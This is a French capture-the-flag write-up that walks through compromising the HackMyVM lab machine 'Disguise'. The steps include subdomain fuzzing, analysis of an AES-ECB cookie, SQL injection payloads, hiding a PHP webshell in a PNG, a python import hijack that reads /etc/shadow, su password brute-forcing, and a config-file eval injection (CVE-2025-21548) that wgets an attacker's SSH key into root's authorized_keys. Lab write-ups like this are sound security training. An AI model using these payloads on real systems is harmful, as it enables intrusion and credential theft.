Deux girls
Le CTF Disguise
était intéressant. On y trouve quelques bons concepts déjà vu dans d’autres CTF.
L’exploitation finale est aussi originale, CEPENDANT… elle se base sur un CVE soit trop frais pour être correctement référencé, soit pas assez populaire, ce qui en fait un vrai casse-tête pour trouver de quoi il retourne.
Je me dois aussi de mentionner le mot de passe du début du CTF qui est tout simplement impossible à trouver.
Let’s go!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ sudo nmap -T5 -sCV -p- -oA /tmp/scan 192.168.56.105
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 192.168.56.105
Host is up (0.000065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
| 256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_ 256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: Just a simple wordpress site
|_http-server-header: Apache/2.4.59 (Debian)
|_http-generator: WordPress 6.7.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
MAC Address: 08:00:27:91:CD:8B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
On trouve donc un Wordpress à la racine web avec un nom de domaine disguise.hmv
qui apparait dans le code de la page web.
Le CMS est récent, ne contient pas de plugins vulnérables et semble disposer d’un seul utilisateur nommé simpleAdmin
.
J’ai décidé d’aller explorer la piste des sous-domaines et la pèche a été meilleure :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -w alexaTop1mAXFRcommonSubdomains.txt -u http://192.168.56.105/ -H "Host: FUZZ.disguise.hmv" -fs 77802
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://192.168.56.105/
:: Wordlist : FUZZ: alexaTop1mAXFRcommonSubdomains.txt
:: Header : Host: FUZZ.disguise.hmv
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 77802
________________________________________________
www [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5119ms]
dark [Status: 200, Size: 873, Words: 124, Lines: 19, Duration: 107ms]
:: Progress: [50000/50000] :: Job [1/1] :: 23 req/sec :: Duration: [0:24:26] :: Errors: 0 ::
Le site dark
repose sur du code custom avec une zone membre (page de login et de création de compte).
J’ai énuméré les fichiers et dossiers à l’aide de feroxbuster
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
302 GET 0l 0w 0c http://dark.disguise.hmv/profile.php => login.php
302 GET 0l 0w 0c http://dark.disguise.hmv/logout.php => login.php
200 GET 51l 104w 2103c http://dark.disguise.hmv/register.php
200 GET 228l 526w 4350c http://dark.disguise.hmv/style1.css
200 GET 246l 538w 4474c http://dark.disguise.hmv/style2.css
200 GET 33l 60w 1134c http://dark.disguise.hmv/login.php
200 GET 0l 0w 0c http://dark.disguise.hmv/config.php
200 GET 18l 52w 873c http://dark.disguise.hmv/index.php
200 GET 3l 15w 644c http://dark.disguise.hmv/captcha.php
301 GET 9l 28w 324c http://dark.disguise.hmv/manager => http://dark.disguise.hmv/manager/
301 GET 9l 28w 323c http://dark.disguise.hmv/images => http://dark.disguise.hmv/images/
200 GET 18l 52w 873c http://dark.disguise.hmv/
200 GET 0l 0w 0c http://dark.disguise.hmv/functions.php
400 GET 1l 2w 15c http://dark.disguise.hmv/image_handler.php
93 pois chiche
J’ai créé un compte devloop
sur le site et il n’y avait pas grand-chose à voir.
Ce qui m’a sauté aux yeux toutefois, c’est la présence d’un cookie custom nommé dark_session
.
Points importants :
- le cookie est en base64
- il est déterministe : pour un nom d’utilisateur donné, ce sera TOUJOURS le même
- il décode vers des octets qui ne semblent pas avoir de signification
- le base64 décode vers 8 octets
On est tenté de penser qu’il s’agit d’un algo de hashage connu donc on crée un compte avec un login super faible comme password
et on cherche le résultat sur Internet : nada !
Les vérifications sur le nom d’utilisateur sont 100% côté client. Avec ZAP, on peut intercepter les requêtes et par exemple créer un compte dont le login est une chaîne vide.
Je parle de ZAP car la mire pour l’enregistrement a un mécanisme de captcha, le gérer avec du code prendrait plus de temps.
En dehors des attributs HTML qui obligent à saisir des caractères il y a aussi ce code javascript :
1
2
3
4
5
6
7
8
function validateForm() {
var username = document.forms["register"]["username"].value;
if(username.length > 8) {
alert("用户名不能超过8个字符");
return false;
}
return true;
}
Bien sûr, je me suis empressé de créer un compte avec 16 caractères et j’ai obtenu… 16 octets encodés en base64.
Voici quelques exemples de cookies obtenus en fonction du login (je vous fait grace des valeurs hexa):
1
2
3
4
5
6
7
8
devloop vXYMoWycoVIlOZxZqf692g==
devloop2 Ef38Xo5nIHPP/bj6sojPUg==
password 5p2MdHUGWn3yKdqWrRLJXg==
1 eeLaqO8JquBuEs0WfVQBnw==
2 rfh1c+kwEtFJQcDPigAkAQ==
0000000000000000 2VFKhrSCfH13ANNkIwMHHg6YrlCGYTShvXE/5WZCajI=
000000000 IKV4U2bkwmyQdM2tfobIQA==
wtSudMhWrImF53iGxlA8QA==
Le fait que l’on passe de 8 caractères encodés à 16 est le signe d’un chiffrement par bloc.
Maintenant ce qui m’embête, c’est le décodage pour le username 0000000000000000
:
d9514a86b4827c7d7700d3642303071e0e98ae50866134a1bd713fe566426a32
Comme on le voit ici, il n’y a pas de répétitions de bloc, ce qui devrait être le cas en mode ECB où le plaintext est divisé en bloc et chaque bloc chiffré avec la même clé.
J’essaye avec un username plus long : 64 fois le caractère 0
:
1
注册失败: Data too long for column 'username' at row 1
Essayons avec 48 :
1
2VFKhrSCfH13ANNkIwMHHuXxpDjpJOmMSBm6fYnXAC7l8aQ46STpjEgZun2J1wAuDpiuUIZhNKG9cT%2FlZkJqMg==
Ce qui donne cette valeur hexa :
1
d9514a86b4827c7d7700d3642303071ee5f1a438e924e98c4819ba7d89d7002ee5f1a438e924e98c4819ba7d89d7002e0e98ae50866134a1bd713d85959909a8c8
On remarque que e5f1a438e924e98c4819ba7d89d7002e
apparait deux fois dans la chaîne. Conclusion : il s’agit bien d’un mode ECB.
Si le début est différent cela signifie qu’un préfixe est placé avant nos données. Ça complique une attaque brute-force puisqu’on ne sait pas exactement ce qu’on cherche. Il faudrait brute-forcer à la fois la clé et le préfixe.
Sans cette histoire de préfixe, on aurait pu avoir un outil comme ça (AES avec le caractère x0b pour le padding c’est du commun) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys
from Crypto.Cipher import AES
TARGET_HEX = "e69d8c7475065a7df229da96ad12c95e"
TARGET_BYTES = bytes.fromhex(TARGET_HEX)
PLAINTEXT = b"password"
def pad(data: bytes) -> bytes:
pad_len = 16 - (len(data) % 16)
return data + bytes([pad_len]) * pad_len
def try_keys(wordlist_path: str):
try:
with open(wordlist_path, "r", encoding="utf-8", errors="replace") as f:
for line in f:
key_raw = line.strip()
key_bytes = key_raw.encode("utf-8")
# Force the key to be exactly 16 bytes (AES-128)
if len(key_bytes) < 16:
key = key_bytes.ljust(16, b"\x0b") # pad
elif len(key_bytes) > 16:
key = key_bytes[:16] # truncate
else:
key = key_bytes
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(PLAINTEXT))
if ciphertext == TARGET_BYTES:
print(f"[+] Match found! Key: '{key_raw}'")
return
print("[-] No matching key found.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <wordlist.txt>")
sys.exit(1)
try_keys(sys.argv[1])
12 Salopards
Déçu de ne pas avoir pu insister sur cette voie et n’ayant pas d’autres pistes, j’ai cherché un indice sur Internet et je suis tombé sur cet article :
Disguise writetup by Banditbandit
L’auteur prétend qu’il a pu brute-forcer le mot de passe du compte simpleAdmin
avec le wordlist rockyou.
Seulement, j’ai vérifié à plusieurs reprises, re-téléchargé rockyou depuis Github, je certifie que le mot de passe Str0ngPassw0d1@@@
ne fait pas partie de la wordlist.
Bref. Une fois connecté, on a un nouveau lien dans la zone membre :
http://dark.disguise.hmv/manager/add_product.php
On y trouve ce formulaire pour ajouter un produit :
1
2
3
4
5
6
7
<form method="post" enctype="multipart/form-data">
<input type="text" name="name" placeholder="商品名称" required>
<textarea name="description" placeholder="商品描述" required></textarea>
<input type="number" step="0.01" name="price" placeholder="价格" required>
<input type="file" name="image" accept="image/*" required>
<button type="submit">添加商品</button>
</form>
J’ai lancé sqlmap dessus. J’ai bien pris soin de lui passer les deux cookies (dark_session
et PHPSESSID
) avec l’option -H
.
J’ai aussi mis en écoute un Wireshark qui m’a permit de capturer la première requête :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /manager/add_product.php HTTP/1.1
Content-Length: 69
Cookie: PHPSESSID=vv2e2a54l3b9lrjg8e59s3gqjk; dark_session=%2B1%2B3%2FNxCLcIR0Jq9qDudFw%3D%3D;
User-Agent: sqlmap/1.9.5#pip (https://sqlmap.org)
Referer: http://dark.disguise.hmv/manager/add_product.php
Host: dark.disguise.hmv
Accept: */*
Accept-Encoding: gzip,deflate
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close
name=test%27hpVjxD%3C%27%22%3EFynCch&description=yolo&price=5&image=2
HTTP/1.1 302 Found
Date: Mon, 05 May 2025 19:31:19 GMT
Server: Apache/2.4.59 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../index.php
Content-Length: 240
Connection: close
Content-Type: text/html; charset=UTF-8
..................: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'hpVjxD<'">FynCch','yolo','5','images/519883cc25f656f9a9491ca70c37c727.')' at line 1
Le champ name
est donc vulnérable. SQLmap a aussi reporté une injection dans le champ price
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap identified the following injection point(s) with a total of 3840 HTTP(s) requests:
---
Parameter: price (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=test&description=yolo&price=5' AND 9985=9985 OR 'TWhh'='VsDY&image=2
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: name=test&description=yolo&price=5' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b767671,(SELECT (ELT(6014=6014,1))),0x716b6a7071,0x78))s), 8446744073709551610, 8446744073709551610))) OR 'cYxg'='UeLZ&image=2
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=test&description=yolo&price=5' AND (SELECT 8943 FROM (SELECT(SLEEP(5)))kpPE) OR 'GaLO'='dQCf&image=2
---
Avec l’outil, j’ai obtenu le nom de la base de données et ses tables :
1
2
3
available databases [2]:
[*] dark_shop
[*] information_schema
1
2
3
4
5
6
Database: dark_shop
[2 tables]
+----------+
| products |
| users |
+----------+
Seulement dumper les données s’est avéré plus problématique :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[13:29:43] [WARNING] unable to retrieve column names for table 'products' in database 'dark_shop'
do you want to use common column existence check? [y/N/q] y
which common columns (wordlist) file do you want to use?
[1] default '/tmp/myvenv/lib/python3.12/site-packages/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom
> 1
[13:29:48] [INFO] checking column existence using items from '/tmp/myvenv/lib/python3.12/site-packages/sqlmap/data/txt/common-columns.txt'
[13:29:48] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 5
[13:29:50] [INFO] starting 5 threads
[13:29:50] [INFO] retrieved: id
[13:29:50] [INFO] retrieved: name
[13:29:50] [INFO] retrieved: description
[13:30:14] [INFO] retrieved: price
[13:31:46] [INFO] retrieved: image
Ce qu’il faut retenir, c’est qu’une injection qui cause un message d’erreur permet de visualiser le nom du fichier qui a été uploadé pour le produit.
1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'dd','5','images/7517f694fda4c9a26193686282fcd8ca.php')' at line
Ici, j’ai tenté d’uploader un shell, mais impossible de retrouver le fichier dans le dossier images
.
Je soupçonne le script de supprimer le fichier si l’insertion SQL échoue. Par conséquence, on ne peut pas à la fois exploiter la faille SQL et uploader le shell en même temps.
Solution choisie : via un des champs (ici description
) on va exfiltrer le path du fichier attaché au produit précédent.
Premièrement, je crée avec GIMP une image 1x1 et je l’exporte au format PNG. Dans les options d’exportation je place un commentaire qui contient un shell PHP.
Dans l’interface web, je récupère l’ID de mon produit (11).
Je procède à l’ajout d’un nouveau produit avec la valeur suivante pour le champ name
:
1
test', (select image from products where id=11), '5', 'yolo') #
Malheureusement, j’ai obtenu un message d’erreur :
1
Table 'products' is specified twice, both as a target for 'INSERT' and as a separate source for data
MySQL n’aime pas la syntaxe. ChatGPT m’a aidé :
1
test', (SELECT image FROM (SELECT image FROM products WHERE id=11) AS temp), '5', 'yolo') #
Et finalement dans le descriptif du nouveau produit j’ai un path valide vers mon webshell. Victoire !
Quarante boeufs
C’est désormais le moment de satisfaire notre curiosité.
On voit ici la page de login :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include 'functions.php';
$error = null;
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$conn = db_connect();
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0) {
$user = $result->fetch_assoc();
if($password === base64_decode($user['password'])) {
set_dark_session($username, $user['isAdmin']);
header("Location: profile.php");
exit();
} else {
$error = "用户名或密码不正确";
}
} else {
$error = "用户名或密码不正确";
}
$stmt->close();
$conn->close();
}
?>
La méthode de création de cookie utilise bien ECB avec un préfixe (bili
). On n’aurait pas réussi à casser la clé donc pas de regrets :
1
2
3
4
5
function set_dark_session($username, $isAdmin) {
$modified = 'bili' . $username;
$encrypted = openssl_encrypt($modified, 'AES-128-ECB', 'secret_key_2a8d32a', OPENSSL_RAW_DATA);
setcookie('dark_session', base64_encode($encrypted), 0, '/');
}
Et finalement le script d’ajout de produit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$name = $_POST['name'];
$description = $_POST['description'];
$price = $_POST['price'];
$uuid = bin2hex(random_bytes(16));
$ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
$new_filename = $uuid . '.' . $ext;
$image_path = 'images/' . $new_filename;
move_uploaded_file($_FILES['image']['tmp_name'], '../' . $image_path);
$conn = db_connect();
$sql = "INSERT INTO products (name, description, price, image) VALUES ('$name','$description','$price','$image_path')";
if ($conn->query($sql) === TRUE) {
echo "新商品添加成功,ID: " . $conn->insert_id;
} else {
echo "商品添加失败: " . $conn->error;
}
$conn->close();
header("Location: ../index.php");
exit();
}
?>
Pas de suppression de fichier uploadé. Il s’est avéré que la VM était instable après l’avoir bourriné avec SQLmap (la BDD devait être en cause).
Dans un fichier de config, on trouve une variante du mot de passe que l’on connait :
1
2
3
4
5
6
7
8
www-data@disguise:/var/www/dark$ cat config.php
<?php
$DB_USER = 'dark_db_admin';
$DB_PASS = 'Str0ngPassw0d1***';
$DB_NAME = 'dark_shop';
?>
Il y a un utilisateur darksoul
avec quelques fichiers visibles :
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@disguise:/var/www/dark$ ls /home/darksoul/ -al
total 40
drwxr-xr-x 4 darksoul darksoul 4096 Apr 2 04:19 .
drwxr-xr-x 3 root root 4096 Mar 31 11:19 ..
lrwxrwxrwx 1 root root 9 Apr 2 00:16 .bash_history -> /dev/null
-rw-r--r-- 1 darksoul darksoul 220 Mar 31 11:19 .bash_logout
-rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc
drwx------ 3 darksoul darksoul 4096 Apr 1 10:03 .gnupg
drwxr-xr-x 3 darksoul darksoul 4096 Apr 1 10:04 .local
-rw-r--r-- 1 darksoul darksoul 807 Mar 31 11:19 .profile
-rw-r--r-- 1 root root 114 Apr 2 04:03 config.ini
-rw-r--r-- 1 root root 31 May 7 10:05 darkshopcount
-rw------- 1 darksoul darksoul 68 Apr 2 04:22 user.txt
On trouve un fichier de config pour SQL :
1
2
3
4
5
6
7
8
9
10
www-data@disguise:/home/darksoul$ cat darkshopcount
users count:1
products count:5
www-data@disguise:/home/darksoul$ cat config.ini
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
Tiens, toujours ce Str0ngPassw0d1
dans la config de Wordpress :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wpuser' );
/** Database password */
define( 'DB_PASSWORD', 'Str0ngPassw0d1!!!' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
101 Dalmatiens
Pour terminer, je suis tombé sur ce script qui à première vue ne semble pas exploitable :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
www-data@disguise:/$ ls opt/
query.py
www-data@disguise:/$ cat opt/query.py
import mysql.connector
import sys
def main():
if len(sys.argv) != 2:
print("Usage: python query.py <configfile>")
sys.exit(1)
cnf = sys.argv[1]
try:
conn = mysql.connector.connect(read_default_file=cnf)
cursor = conn.cursor()
query = 'SELECT COUNT(*) FROM users'
cursor.execute(query)
results = cursor.fetchall()
print(f"users count:{results[0][0]}")
query = 'SELECT COUNT(*) FROM products'
cursor.execute(query)
results = cursor.fetchall()
print(f"products count:{results[0][0]}")
except mysql.connector.Error as err:
print(f"db connect error: {err}")
finally:
if 'cursor' in locals():
cursor.close()
if 'conn' in locals() and conn.is_connected():
conn.close()
if __name__ == "__main__":
main()
www-data@disguise:/$ ls -al opt/query.py
-rw-r--r-- 1 root root 870 Apr 1 09:56 opt/query.py
www-data@disguise:/$ ls -ald opt/
drwxr-xr-x 2 root root 4096 Apr 1 09:58 opt/
Grâce à pspy
on se doute qu’il sera à exploiter, car il est exécuté par root (via une tâche cron) :
1
2
2025/05/07 11:01:01 CMD: UID=0 PID=15859 | /bin/sh -c /usr/bin/python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount
2025/05/07 11:01:01 CMD: UID=0 PID=15860 | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini
pspy
ne nous indique pas le répertoire de travail du process. Je n’ai pas énormément de dossiers écrivables avec l’utilisateur www-data
mais j’ai quand même essayé d’hijacker l’import de mysql.connector
.
1
2
3
4
5
6
7
8
9
www-data@disguise:/var/www/dark$ mkdir -p mysql/connector
www-data@disguise:/var/www/dark$ touch mysql/__init__.py
www-data@disguise:/var/www/dark$ echo -e 'import os\nos.system("cp /etc/shadow /tmp")' > mysql/connector/__init__.py
www-data@disguise:/var/www/dark$ python3
Python 3.7.3 (default, Mar 23 2024, 16:12:05)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import mysql.connector
cp: cannot open '/etc/shadow' for reading: Permission denied
La théorie fonctionne donc, mais après quelques minutes d’attente, force est de constater que ce n’est pas la solution.
Étant donné que l’utilisateur semble toujours utiliser la même base de mot de passe, j’ai créé une wordlist :
1
2
3
4
5
6
7
import string
base = "Str0ngPassw0d1"
with open("passlist.txt", "w", encoding="utf-8") as fd:
for char in string.printable.strip():
print(f"{base}{char}{char}{char}", file=fd)
On ne peut pas brute-forcer SSH car l’utilisateur darksoul
ne permet que l’authentification par clé.
Je me suis donc tourné vers su-bruteforce :
1
2
3
4
www-data@disguise:/tmp$ ./suBF.sh -u darksoul -w passlist.txt
[+] Bruteforcing darksoul...
You can login as darksoul using password: Str0ngPassw0d1???
Wordlist exhausted
On a enfin le premier flag :
1
2
darksoul@disguise:~$ cat user.txt
Good good study & Day day up,but where is the flag?
Dix guys
Marche arrière pour revenir sur le script Python. On sait qu’il est lancé comme ça :
python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount
Les deux fichiers utilisés en argument sont sous notre contrôle : ils appartiennent à root mais sont dans un dossier appartenant à notre utilisateur courant. On ne peut pas supprimer les fichiers, mais on peut les déplacer (une bizarrerie de Linux).
1
2
-rw-r--r-- 1 root root 114 Apr 2 04:03 config.ini
-rw-r--r-- 1 root root 31 May 7 10:05 darkshopcount
Si on peut déplacer le fichier (le renommer) alors, on peut placer un fichier avec le même nom à la place.
Idée d’exploitation : remplacer darkshopcount
par un lien symbolique pointant vers /etc/crontab
, /root/.ss/authorized_keys
ou /etc/passwd
puis faire en sorte que le script génère l’output de notre choix.
L’exploitation semble difficile car les appels à print
sont difficilement contrôlables :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try:
conn = mysql.connector.connect(read_default_file=cnf)
cursor = conn.cursor()
query = 'SELECT COUNT(*) FROM users'
cursor.execute(query)
results = cursor.fetchall()
print(f"users count:{results[0][0]}")
query = 'SELECT COUNT(*) FROM products'
cursor.execute(query)
results = cursor.fetchall()
print(f"products count:{results[0][0]}")
except mysql.connector.Error as err:
print(f"db connect error: {err}")
Les deux premiers print
ne peuvent afficher que des données numériques et il n’y a aucun moyen de réécrire la fonction COUNT
de MySQL.
Le dernier print
nécessite de provoquer une exception. J’ai essayé d’injecter des données dans le config.ini
mais il n’y a aucun moyen d’intégrer un retour à la ligne.
L’article Medium vu précédemment mentionnait ce CVE :
La vulnérabilité exploite un stupide eval
dans le connecteur Python. On peut l’exploiter ainsi :
1
2
3
4
darksoul@disguise:~$ cp config.ini new_config.ini
darksoul@disguise:~$ echo "allow_local_infile=__import__('os').system('mkdir /root/.ssh;wget http://192.168.56.1:8000/hacker.pub -O /root/.ssh/authorized_keys')" >> new_config.ini
darksoul@disguise:~$ mv config.ini old_config.ini
darksoul@disguise:~$ mv new_config.ini config.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh -i ~/.ssh/hacker root@192.168.56.108
Linux disguise 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 2 05:33:40 2025 from 192.168.31.98
root@disguise:~# ls
root.txt
root@disguise:~# cat root.txt
#Congratulations!!!
hmv{CVE-2025-21548}
Comme dit au début, CTF intéressant mais mot de passe impossible à trouver + CVE méconnu :(